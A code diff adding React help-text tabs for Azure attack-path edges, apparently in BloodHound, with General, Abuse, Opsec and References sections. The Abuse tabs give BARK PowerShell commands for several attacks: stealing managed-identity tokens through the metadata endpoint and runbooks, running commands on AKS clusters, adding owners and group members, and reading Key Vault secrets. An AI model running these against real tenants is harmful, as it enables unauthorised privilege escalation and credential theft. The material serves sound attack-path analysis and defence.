+ This function requires you to supply an Azure Resource Manager + scoped JWT associated with the principal that has the privilege + to execute commands on the cluster. There are several ways to + acquire a JWT. For example, you may use BARK's + Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT + by supplying a refresh token: +

+ +
+                
+                    {
+                        '$ARMToken = Get-ARMTokenWithRefreshToken `\n' +
+                        '    -RefreshToken "0.ARwA6WgJJ9X2qk…" `\n' +
+                        '    -TenantID "contoso.onmicrosoft.com"'
+                    }
+                
+
+            
+ +

+ Now you can use BARK's Invoke-AzureRMAKSRunCommand function + to execute a command against the target AKS Managed Cluster. + For example, to run a simple "whoami" command: +

+ +
+                
+                    {
+                        'Invoke-AzureRMAKSRunCommand `\n' +
+                        '    -Token $ARMToken `\n' +
+                        '    -TargetAKSId "/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourcegroups/AKS_ResourceGroup/providers/Microsoft.ContainerService/managedClusters/mykubernetescluster" `\n' +
+                        '    -Command "whoami"'
+                    }
+                
+            
+ +

+ If the AKS Cluster or its associated Virtual Machine Scale Sets + have managed identity assignments, you can use BARK's + Invoke-AzureRMAKSRunCommand function to retrieve a JWT for the + managed identity Service Principal like this: +

+ +
+                
+                    {
+                        'Invoke-AzureRMAKSRunCommand `\n' +
+                        '    -Token $ARMToken `\n' +
+                        '    -TargetAKSId "/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourcegroups/AKS_ResourceGroup/providers/Microsoft.ContainerService/managedClusters/mykubernetescluster" `\n' +
+                        '    -Command \'curl -i -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://graph.microsoft.com/&api-version=2019-08-01"\''
+                    }
+                
+            
+ +

+ If successful, the output will include a JWT for the managed identity + service principal. +

+ + ); +}; + +export default Abuse; \ No newline at end of file diff --git a/src/components/Modals/HelpTexts/AZAKSContributor/General.jsx b/src/components/Modals/HelpTexts/AZAKSContributor/General.jsx new file mode 100644 index 000000000..bb2607789 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAKSContributor/General.jsx @@ -0,0 +1,15 @@ +import React from 'react'; + +const General = () => { + return ( +

+ The Azure Kubernetes Service Contributor role grants full control + of the target Azure Kubernetes Service Managed Cluster. This includes + the ability to remotely fetch administrator credentials for the cluster + as well as the ability to execute arbitrary commands on compute + nodes associated with the AKS Managed Cluster. +

+ ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZAKSContributor/Opsec.jsx b/src/components/Modals/HelpTexts/AZAKSContributor/Opsec.jsx new file mode 100644 index 000000000..1d2ddcaf0 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAKSContributor/Opsec.jsx @@ -0,0 +1,12 @@ +import React from 'react'; + +const Opsec = () => { + return ( +

+ This will depend on which particular abuse you perform, but in + general Azure will create a log event for each abuse. +

+ ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZAKSContributor/References.jsx b/src/components/Modals/HelpTexts/AZAKSContributor/References.jsx new file mode 100644 index 000000000..457bae3bf --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAKSContributor/References.jsx @@ -0,0 +1,17 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + Andy Robbins - BARK.ps1 + +
+ + Karl Fosaaen - How To Extract Credentials from Azure Kubernetes Service (AKS) + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZAddOwner/AZAddOwner.jsx b/src/components/Modals/HelpTexts/AZAddOwner/AZAddOwner.jsx new file mode 100644 index 000000000..0f7b7783f --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAddOwner/AZAddOwner.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZAddOwner = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZAddOwner.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZAddOwner; diff --git a/src/components/Modals/HelpTexts/AZAddOwner/Abuse.jsx b/src/components/Modals/HelpTexts/AZAddOwner/Abuse.jsx new file mode 100644 index 000000000..e770adbf5 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAddOwner/Abuse.jsx @@ -0,0 +1,66 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ You can use BARK to add a new owner to the target object. The + BARK function you use will depend on the target object type, + but all of the functions follow a similar syntax. +

+ +

+ These functions require you to supply an MS Graph-scoped JWT + associated with the principal that has the privilege to add a + new owner to your target object. There are several ways to + acquire a JWT. For example, you may use BARK’s + Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT + by supplying a refresh token: +

+ +
+                    
+                        {
+                            '$MGToken = Get-GraphTokenWithRefreshToken `\n' +
+                            '    -RefreshToken "0.ARwA6WgJJ9X2qk…" `\n' +
+                            '    -TenantID "contoso.onmicrosoft.com"'
+                        }
+                    
+                
+ +

+ To add a new owner to a Service Principal, use BARK's + New-ServicePrincipalOwner function: +

+ +
+                    
+                        {
+                            'New-ServicePrincipalOwner `\n' +
+                            '    -ServicePrincipalObjectId "082cf9b3-24e2-427b-bcde-88ffdccb5fad" `\n' +
+                            '    -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' +
+                            '    -Token $Token'
+                        }
+                    
+                
+ +

+ To add a new owner to an App Registration, use BARK's New-AppOwner function: +

+ +
+                    
+                        {
+                            'New-AppOwner `\n' +
+                            '    -AppObjectId "52114a0d-fa5b-4ee5-9a29-2ba048d46eee" `\n' +
+                            '    -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' +
+                            '    -Token $Token'
+                        }
+                    
+                
+ + + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZAddOwner/General.jsx b/src/components/Modals/HelpTexts/AZAddOwner/General.jsx new file mode 100644 index 000000000..f76b99132 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAddOwner/General.jsx @@ -0,0 +1,31 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created during post-processing. It is created against + all App Registrations and Service Principals within the same tenant + when an Azure principal has one of the following Azure Active + Directory roles: +

+ +

+

    +
  • Hybrid Identity Administrator
  • +
  • Partner Tier1 Support
  • +
  • Partner Tier2 Support
  • +
  • Directory Synchronization Accounts
  • +
+

+ +

+ You will not see these privileges when auditing permissions against + any of the mentioned objects when you use Microsoft tooling, including + the Azure portal or any API. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZAddOwner/Opsec.jsx b/src/components/Modals/HelpTexts/AZAddOwner/Opsec.jsx new file mode 100644 index 000000000..5f3080e26 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAddOwner/Opsec.jsx @@ -0,0 +1,15 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ Any time you add an owner to any Azure object, the AzureAD audit + logs will create an event logging who added an owner to what object, + as well as what the new owner added to the object was. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZAddOwner/References.jsx b/src/components/Modals/HelpTexts/AZAddOwner/References.jsx new file mode 100644 index 000000000..02ec5e424 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAddOwner/References.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + +
+ + Andy Robbins - BARK.ps1 + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZAutomationContributor/AZAutomationContributor.jsx b/src/components/Modals/HelpTexts/AZAutomationContributor/AZAutomationContributor.jsx new file mode 100644 index 000000000..5343fc3f1 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAutomationContributor/AZAutomationContributor.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZAutomationContributor = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZAutomationContributor.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZAutomationContributor; diff --git a/src/components/Modals/HelpTexts/AZAutomationContributor/Abuse.jsx b/src/components/Modals/HelpTexts/AZAutomationContributor/Abuse.jsx new file mode 100644 index 000000000..cb2ce054e --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAutomationContributor/Abuse.jsx @@ -0,0 +1,89 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ You can use BARK's New-AzureAutomationAccountRunBook and + Get-AzureAutomationAccountRunBookOutput functions to execute + arbitrary commands against the target Automation Account. +

+ +

+ These functions require you to supply an Azure Resource Manager + scoped JWT associated with the principal that has the privilege + to add or modify and run Automation Account run books. There are + several ways to acquire a JWT. For example, you may use BARK's + Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT + by supplying a refresh token: +

+ +
+                
+                    {
+                        '$ARMToken = Get-ARMTokenWithRefreshToken ` \n' +
+                        '    -RefreshToken "0.ARwA6WgJJ9X2qk…" ` \n' +
+                        '    -TenantID "contoso.onmicrosoft.com"'
+                    }
+                
+            
+ +

+ Now you can use BARK's New-AzureAutomationAccountRunBook function + to add a new runbook to the target Automation Account, specifying + a command to execute using the -Script parameter: +

+ +
+                
+                    {
+                        'New-AzureAutomationAccountRunBook `\n' +
+                        '    -Token $ARMToken `\n' +
+                        '    -RunBookName "MyCoolRunBook" `\n' +
+                        '    -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount" `\n' +
+                        '    -Script "whoami"'
+                    }
+                
+            
+ +

+ After adding the new runbook, you must execute it and fetch its + output. You can do this automatically with BARK's + Get-AzureAutomationAccountRunBookOutput function: +

+ +
+                
+                    {
+                        'Get-AzureAutomationAccountRunBookOutput `\n' +
+                        '    -Token $ARMToken `\n' +
+                        '    -RunBookName "MyCoolRunBook" `\n' +
+                        '    -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount"'
+                    }
+                
+            
+ +

+ If the Automation Account has a managed identity assignment, you can use + these two functions to retrieve a JWT for the service principal like this: +

+ +
+                
+                    {
+                        '$Script = $tokenAuthURI = $env:MSI_ENDPOINT + "?resource=https://graph.microsoft.com/&api-version=2017-09-01"; $tokenResponse = Invoke-RestMethod -Method Get -Headers @{"Secret"="$env:MSI_SECRET"} -Uri $tokenAuthURI; $tokenResponse.access_token\n' +
+                        'New-AzureAutomationAccountRunBook -Token $ARMToken -RunBookName "MyCoolRunBook" -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount" -Script $Script\n' +
+                        'Get-AzureAutomationAccountRunBookOutput -Token $ARMToken -RunBookName "MyCoolRunBook" -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount"'
+                    }
+                
+            
+ +

+ If successful, the output will include a JWT for the managed identity + service principal. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZAutomationContributor/General.jsx b/src/components/Modals/HelpTexts/AZAutomationContributor/General.jsx new file mode 100644 index 000000000..48acc4c62 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAutomationContributor/General.jsx @@ -0,0 +1,14 @@ +import React from 'react'; + +const General = () => { + return ( +

+ The Azure Automation Contributor role grants full control + of the target Azure Automation Account. This includes + the ability to execute arbitrary commands on the Automation + Account. +

+ ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZAutomationContributor/Opsec.jsx b/src/components/Modals/HelpTexts/AZAutomationContributor/Opsec.jsx new file mode 100644 index 000000000..1d2ddcaf0 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAutomationContributor/Opsec.jsx @@ -0,0 +1,12 @@ +import React from 'react'; + +const Opsec = () => { + return ( +

+ This will depend on which particular abuse you perform, but in + general Azure will create a log event for each abuse. +

+ ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZAutomationContributor/References.jsx b/src/components/Modals/HelpTexts/AZAutomationContributor/References.jsx new file mode 100644 index 000000000..8e198b86d --- /dev/null +++ b/src/components/Modals/HelpTexts/AZAutomationContributor/References.jsx @@ -0,0 +1,17 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + Andy Robbins - BARK.ps1 + +
+ + Andy Robbins - Managed Identity Attack Paths, Part 1: Automation Accounts + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/AZKeyVaultKVContributor.jsx b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/AZKeyVaultKVContributor.jsx new file mode 100644 index 000000000..f643bb2f5 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/AZKeyVaultKVContributor.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZKeyVaultKVContributor = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZKeyVaultKVContributor.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZKeyVaultKVContributor; diff --git a/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/Abuse.jsx b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/Abuse.jsx new file mode 100644 index 000000000..fd844fc9e --- /dev/null +++ b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/Abuse.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ You can read secrets and alter access policies (grant yourself access to read secrets) +

+ +

Via PowerZure:

+ + Get-AzureKeyVaultContent + +
+ + Export-AzureKeyVaultContent + + + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/General.jsx b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/General.jsx new file mode 100644 index 000000000..3639173c2 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/General.jsx @@ -0,0 +1,13 @@ +import React from 'react'; + +const General = () => { + return ( +

+ The Key Vault Contributor role grants full control of the + target Key Vault. This includes the ability to read all secrets + stored on the Key Vault. +

+ ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/Opsec.jsx b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/Opsec.jsx new file mode 100644 index 000000000..1d2ddcaf0 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/Opsec.jsx @@ -0,0 +1,12 @@ +import React from 'react'; + +const Opsec = () => { + return ( +

+ This will depend on which particular abuse you perform, but in + general Azure will create a log event for each abuse. +

+ ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/References.jsx b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/References.jsx new file mode 100644 index 000000000..80bb89fa4 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZKeyVaultKVContributor/References.jsx @@ -0,0 +1,25 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/{' '} + +
+ + https://blog.netspi.com/azure-automation-accounts-key-stores/ + +
+ + https://blog.netspi.com/get-azurepasswords/ + +
+ + https://blog.netspi.com/attacking-azure-cloud-shell/ + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZLogicAppContributor/AZLogicAppContributor.jsx b/src/components/Modals/HelpTexts/AZLogicAppContributor/AZLogicAppContributor.jsx new file mode 100644 index 000000000..a3a912686 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZLogicAppContributor/AZLogicAppContributor.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZLogicAppContributor = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZLogicAppContributor.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZLogicAppContributor; diff --git a/src/components/Modals/HelpTexts/AZLogicAppContributor/Abuse.jsx b/src/components/Modals/HelpTexts/AZLogicAppContributor/Abuse.jsx new file mode 100644 index 000000000..77e5b16ad --- /dev/null +++ b/src/components/Modals/HelpTexts/AZLogicAppContributor/Abuse.jsx @@ -0,0 +1,30 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ Currently you need access to the portal GUI to execute this abuse. +

+ +

+ The abuse involves adding or modifying an existing logic app to coerce + the logic app into sending a JWT for its managed identity service principal + to a web server you control. +

+ +

+ You can see a full walkthrough for executing that abuse in this blog post: +

+ +

+ + Andy Robbins - Managed Identity Attack Paths, Part 2: Logic Apps + +

+ + + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZLogicAppContributor/General.jsx b/src/components/Modals/HelpTexts/AZLogicAppContributor/General.jsx new file mode 100644 index 000000000..d8723b6d5 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZLogicAppContributor/General.jsx @@ -0,0 +1,13 @@ +import React from 'react'; + +const General = () => { + return ( +

+ The Logic Contributor role grants full control + of the target Logic App. This includes the ability + to execute arbitrary commands on the Logic App. +

+ ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZLogicAppContributor/Opsec.jsx b/src/components/Modals/HelpTexts/AZLogicAppContributor/Opsec.jsx new file mode 100644 index 000000000..1d2ddcaf0 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZLogicAppContributor/Opsec.jsx @@ -0,0 +1,12 @@ +import React from 'react'; + +const Opsec = () => { + return ( +

+ This will depend on which particular abuse you perform, but in + general Azure will create a log event for each abuse. +

+ ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZLogicAppContributor/References.jsx b/src/components/Modals/HelpTexts/AZLogicAppContributor/References.jsx new file mode 100644 index 000000000..74ce370ab --- /dev/null +++ b/src/components/Modals/HelpTexts/AZLogicAppContributor/References.jsx @@ -0,0 +1,17 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + Andy Robbins - BARK.ps1 + +
+ + Managed Identity Attack Paths, Part 2: Logic Apps + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGAddMember/AZMGAddMember.jsx b/src/components/Modals/HelpTexts/AZMGAddMember/AZMGAddMember.jsx new file mode 100644 index 000000000..d1e86e57d --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddMember/AZMGAddMember.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGAddMember = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGAddMember.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGAddMember; diff --git a/src/components/Modals/HelpTexts/AZMGAddMember/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGAddMember/Abuse.jsx new file mode 100644 index 000000000..d1319de38 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddMember/Abuse.jsx @@ -0,0 +1,56 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ You can abuse this privilege using BARK's Add-AZMemberToGroup + function. +

+ +

+ This function requires you to supply an MS Graph-scoped JWT + associated with the Service Principal that has the privilege + to add principal to the target group. There are several ways to + acquire a JWT. For example, you may use BARK’s + Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT + by supplying a Service Principal Client ID and secret: +

+ +
+                    
+                        {
+                            '$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
+                            '    -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
+                            '    -ClientSecret "asdf..." `\n' +
+                            '    -TenantName "contoso.onmicrosoft.com"'
+                        }
+                    
+                
+ +

+ Then use BARK’s Add-AZMemberToGroup function to add a new principial + to the target group: +

+ +
+                    
+                        {
+                            'Add-AZMemberToGroup `\n' +
+                            '    -PrincipalID = "028362ca-90ae-41f2-ae9f-1a678cc17391" `\n' +
+                            '    -TargetGroupId "b9801b7a-fcec-44e2-a21b-86cb7ec718e4" `\n' +
+                            '    -Token $MGToken.access_token'
+                        }
+                    
+                
+ +

+ Now you can re-authenticate as the principial you just added to the group + and continue your attack path, now having whatever privileges the target + group has. +

+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGAddMember/General.jsx b/src/components/Modals/HelpTexts/AZMGAddMember/General.jsx new file mode 100644 index 000000000..55fcdd612 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddMember/General.jsx @@ -0,0 +1,40 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created during post-processing. It is created against + non role assignable Azure AD security groups when a Service + Principal has one of the following MS Graph app role assignments: +

+ +
    +
  • Directory.ReadWrite.All
  • +
  • Group.ReadWrite.All
  • +
  • GroupMember.ReadWrite.All
  • +
+ +

+ It is created against all Azure AD security groups, including those + that are role assignable, when a Service Principal has the following + MS Graph app role: +

+ +
    +
  • RoleManagement.ReadWrite.Directory
  • +
+ +

+ You will not see this privilege when using just the Azure portal + or any other Microsoft tooling. If you audit the roles and administrators + affecting any particular Azure security group, you will not see + that the Service Principal can add members to the group, but it + indeed can because of the parallel access management system used + by MS Graph. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGAddMember/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGAddMember/Opsec.jsx new file mode 100644 index 000000000..4aa533e4b --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddMember/Opsec.jsx @@ -0,0 +1,14 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ The Azure activity log for the tenant will log who added what + principal to what group, including the date and time. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGAddMember/References.jsx b/src/components/Modals/HelpTexts/AZMGAddMember/References.jsx new file mode 100644 index 000000000..02ec5e424 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddMember/References.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + +
+ + Andy Robbins - BARK.ps1 + + + ); +}; + +export default References; diff --git a/src/components/Modals/HelpTexts/AZMGAddOwner/AZMGAddOwner.jsx b/src/components/Modals/HelpTexts/AZMGAddOwner/AZMGAddOwner.jsx new file mode 100644 index 000000000..7ad8228b8 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddOwner/AZMGAddOwner.jsx @@ -0,0 +1,34 @@ +import React from 'react'; +import PropTypes from 'prop-types'; +import { Tabs, Tab } from 'react-bootstrap'; +import General from './General'; +import Abuse from './Abuse'; +import Opsec from './Opsec'; +import References from './References'; + +const AZMGAddOwner = ({ sourceName, sourceType, targetName, targetType }) => { + return ( + + + + + + + + + + + + + + + ); +}; + +AZMGAddOwner.propTypes = { + sourceName: PropTypes.string, + sourceType: PropTypes.string, + targetName: PropTypes.string, + targetType: PropTypes.string, +}; +export default AZMGAddOwner; diff --git a/src/components/Modals/HelpTexts/AZMGAddOwner/Abuse.jsx b/src/components/Modals/HelpTexts/AZMGAddOwner/Abuse.jsx new file mode 100644 index 000000000..ac0dc6d82 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddOwner/Abuse.jsx @@ -0,0 +1,81 @@ +import React from 'react'; + +const Abuse = () => { + return ( + <> +

+ You can use BARK to add a new owner to the target object. The + BARK function you use will depend on the target object type, + but all of the functions follow a similar syntax. +

+ +

+ These functions require you to supply an MS Graph-scoped JWT + associated with the Service Principal that has the privilege + to add a new owner to the target object. There are several ways to + acquire a JWT. For example, you may use BARK’s + Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT + by supplying a Service Principal Client ID and secret: +

+ +
+                    
+                        {
+                            '$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
+                            '    -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
+                            '    -ClientSecret "asdf..." `\n' +
+                            '    -TenantName "contoso.onmicrosoft.com"'
+                        }
+                    
+                
+ +

+ To add a new owner to a Service Principal, use BARK's + New-ServicePrincipalOwner function: +

+ +
+                    
+                        {
+                            'New-ServicePrincipalOwner `\n' +
+                            '    -ServicePrincipalObjectId "082cf9b3-24e2-427b-bcde-88ffdccb5fad" `\n' +
+                            '    -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' +
+                            '    -Token $Token'
+                        }
+                    
+                
+ +

+ To add a new owner to an App Registration, use BARK's New-AppOwner function: +

+ +
+                    
+                        {
+                            'New-AppOwner `\n' +
+                            '    -AppObjectId "52114a0d-fa5b-4ee5-9a29-2ba048d46eee" `\n' +
+                            '    -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' +
+                            '    -Token $Token'
+                        }
+                    
+                
+ +

+ To add a new owner to a Group, use BARK's New-GroupOwner function: +

+ +
+                    
+                        {
+                            'New-AppOwner `\n' +
+                            '    -GroupObjectId "352032bf-161d-4788-b77c-b6f935339770" `\n' +
+                            '    -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `\n' +
+                            '    -Token $Token'
+                        }
+                    
+                
+ + ); +}; + +export default Abuse; diff --git a/src/components/Modals/HelpTexts/AZMGAddOwner/General.jsx b/src/components/Modals/HelpTexts/AZMGAddOwner/General.jsx new file mode 100644 index 000000000..baa49f30a --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddOwner/General.jsx @@ -0,0 +1,65 @@ +import React from 'react'; + +const General = () => { + return ( + <> +

+ This edge is created during post-processing. It is created against + all App Registrations and Service Principals within the same tenant + when a Service Principal has the following MS Graph app role: +

+ +

+

    +
  • Application.ReadWrite.All
  • +
+

+ +

+ It is also created against all Azure Service Principals when a + Service Principal has the following MS Graph app role: +

+ +

+

    +
  • ServicePrincipalEndpoint.ReadWrite.All
  • +
+

+ + +

+ It is also created against all Azure security groups that are not + role eligible when a Service Principal has one of the following MS + Graph app roles: +

+ +

+

    +
  • Directory.ReadWrite.All
  • +
  • Group.ReadWrite.All
  • +
+

+ +

+ Finally, it is created against all Azure security groups and all + Azure App Registrations when a Service Principal has the following + MS Graph app role: +

+ +

+

    +
  • RoleManagement.ReadWrite.Directory
  • +
+

+ + +

+ You will not see these privileges when auditing permissions against + any of the mentioned objects when you use Microsoft tooling, including + the Azure portal and the MS Graph API itself. +

+ + ); +}; + +export default General; diff --git a/src/components/Modals/HelpTexts/AZMGAddOwner/Opsec.jsx b/src/components/Modals/HelpTexts/AZMGAddOwner/Opsec.jsx new file mode 100644 index 000000000..5f3080e26 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddOwner/Opsec.jsx @@ -0,0 +1,15 @@ +import React from 'react'; + +const Opsec = () => { + return ( + <> +

+ Any time you add an owner to any Azure object, the AzureAD audit + logs will create an event logging who added an owner to what object, + as well as what the new owner added to the object was. +

+ + ); +}; + +export default Opsec; diff --git a/src/components/Modals/HelpTexts/AZMGAddOwner/References.jsx b/src/components/Modals/HelpTexts/AZMGAddOwner/References.jsx new file mode 100644 index 000000000..02ec5e424 --- /dev/null +++ b/src/components/Modals/HelpTexts/AZMGAddOwner/References.jsx @@ -0,0 +1,22 @@ +import React from 'react'; + +const References = () => { + return ( + <> + + ATT&CK T1098: Account Manipulation + +
+ + Andy Robbins - Azure Privilege Escalation via Service Principal + Abuse + +
